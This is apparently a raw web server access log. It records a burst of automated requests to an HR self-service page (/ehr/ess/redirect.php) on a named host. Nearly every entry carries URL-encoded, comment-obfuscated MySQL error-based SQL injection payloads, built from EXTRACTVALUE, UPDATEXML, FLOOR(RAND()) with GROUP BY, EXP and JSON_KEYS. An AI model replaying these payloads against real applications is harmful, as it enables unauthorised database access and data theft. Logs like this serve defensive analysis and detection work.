100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6169644e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x414c7048%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x746f6d47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57583347%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7a4e784d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72436f65%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x7a355050%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49467376%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x59387156%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e434658%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x52507a68%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35707672%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x766b7369%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49664835%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6361574e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a494c61%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x72545a4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b6c6c72%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x385a7251%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x56666b4c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x385a7251%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x56666b4c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x385a7251%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x56666b4c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x55325079%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74376649%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x55325079%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74376649%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x7a313074%2C%28NULL%29%2C0x70634375%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x7a313074%2C%28NULL%29%2C0x70634375%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x65733932%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69634139%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x65733932%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69634139%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x55325079%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74376649%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x5a7a586a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43687a79%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x5a7a586a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43687a79%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x34725a4d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5059546e%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x34725a4d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5059546e%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x49537064%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3039694d%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x49537064%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3039694d%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
